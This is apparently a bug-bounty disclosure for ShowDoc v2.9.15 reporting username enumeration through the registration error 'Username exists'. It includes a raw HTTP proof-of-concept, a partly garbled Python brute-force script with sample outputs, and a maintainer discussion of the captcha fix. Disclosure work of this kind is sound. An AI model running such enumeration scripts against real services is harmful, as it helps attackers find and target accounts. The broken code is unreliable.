Generation of Error Message Containing Sensitive Information in star7th/showdoc


Reported on

Dec 30th 2021


In the recent Showdoc application (925970e7 tag:v2.9.15) I have discovered possibility to enumerate registered users in the system.

Proof of Concept


POST /server/index.php?s=/api/user/register HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 70
DNT: 1
Connection: close
Cookie: PHPSESSID=a82a65c77a8ee8e72b051eca720ba722; think_language=en-US



HTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Thu, 30 Dec 2021 15:57:58 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 54

{"error_code":10101,"error_message":"Username exists"}

import logging
import requests

logging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s',

session = requests.session()

burp0_url = ""
burp0_cookies = {"think_language": "en-US", "PHPSESSID": "a56177ce8c65130a9bfc3a81d7ca3173"}
burp0_headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
    "Accept": "application/json, text/plain, */*",
    "Content-Type": "application/x-www-form-urlencoded;charset=utf-8",
    "Origin": "",
    "Referer": ""}
burp0_data = {"username": "user1", "password": "password", "confirm_password": "password", "v_code": "1234"}'Started')

i = 1
while True:
    if i > 100000:

                     # proxies={'http': ''}
    except e:

    r =,
                      # proxies={'http': ''}

    if str(r.text).find('10101') >= 0:"{} try, returned {}".format(i, str(r.text)))
    i = i+1'Fnished')

Few sample outputs:

$ python 
2021-12-30 18:22:20,649 - INFO: Started
2021-12-30 18:23:18,932 - INFO: 2789 try, returned {"error_code":10101,"error_message":"Username exists"}
2021-12-30 18:23:18,932 - INFO: Fnished
$ python 
2021-12-30 18:24:47,949 - INFO: Started
2021-12-30 18:26:37,527 - INFO: 4951 try, returned {"error_code":10101,"error_message":"Username exists"}
2021-12-30 18:26:37,528 - INFO: Fnished
$ python 
2021-12-30 18:28:21,855 - INFO: Started
2021-12-30 18:30:39,120 - INFO: 6103 try, returned {"error_code":10101,"error_message":"Username exists"}
2021-12-30 18:30:39,120 - INFO: Fnished
$ python 
2021-12-30 18:31:34,435 - INFO: Started
2021-12-30 18:32:28,707 - INFO: 2458 try, returned {"error_code":10101,"error_message":"Username exists"}
2021-12-30 18:32:28,708 - INFO: Fnished
$ python 
2021-12-30 18:25:09,698 - INFO: Started
2021-12-30 18:26:34,310 - INFO: 3692 try, returned {"error_code":10101,"error_message":"Username exists"}
2021-12-30 18:26:34,311 - INFO: Fnished
$ python 
2021-12-30 18:26:47,521 - INFO: Started
2021-12-30 18:27:29,870 - INFO: 2069 try, returned {"error_code":10101,"error_message":"Username exists"}
2021-12-30 18:27:29,870 - INFO: Fnished
$ python 
2021-12-30 18:28:41,181 - INFO: Started
2021-12-30 18:31:07,203 - INFO: 6492 try, returned {"error_code":10101,"error_message":"Username exists"}
2021-12-30 18:31:07,203 - INFO: Fnished
$ python 
2021-12-30 18:31:29,856 - INFO: Started
2021-12-30 18:32:48,453 - INFO: 3727 try, returned {"error_code":10101,"error_message":"Username exists"}
2021-12-30 18:32:48,453 - INFO: Fnished


Not authorized attacker can enumerate registered accounts in the system which may help to perform other attacks against found users.

We are processing your report and will contact the star7th/showdoc team within 24 hours. a month ago
We have contacted a member of the star7th/showdoc team and are waiting to hear back a month ago
star7th validated this vulnerability a month ago
theworstcomrade has been awarded the disclosure bounty
The fix bounty is now up for grabs
a month ago


I have updated the master branch code. The verification code component was replaced to increase the enumerated time cost. At present, it has also been updated to the official docker image. However, it should be noted that under PHP version 7.2.5, the original verification code will continue to be used. At present, the official docker image is PHP version 7.4. Those who want to manually install in the old version of PHP will be left out for the time being. After all, this verification code problem is not very serious.

a month ago


@star7th Thank You for Your response. For sure Your changes fixed problem with captcha reverse brute force, but the main problem which I reported here is error message in UserController.class.php:66. It informs that user with provided username exists.

Like I wrote above, this information may be used by potential attackers to prepare other attacks for already known users.

In this case I'd change this message to $this->sendError(10101,'register fail'); which does not give attackers any visible information about existing users.

a month ago


However, in terms of product experience, when the user registration fails, it is determined that the user name should be informed that it already exists so that the user can register with a different name. Now a higher strength verification code component has been replaced, and the attacker cannot simply enumerate the user name. He can only try out a few limited names by hand. Personally, I think the risk is controllable.

a month ago


@star7th I agree with Your argument that the risk is controllable. Security as well as life is the "art of compromise" :) so I have nothing to add here other than asking You to mark the report as fixed if you think so.

Thank You for Your cooperation

star7th confirmed that a fix has been merged on e43df0 a month ago
star7th has been awarded the fix bounty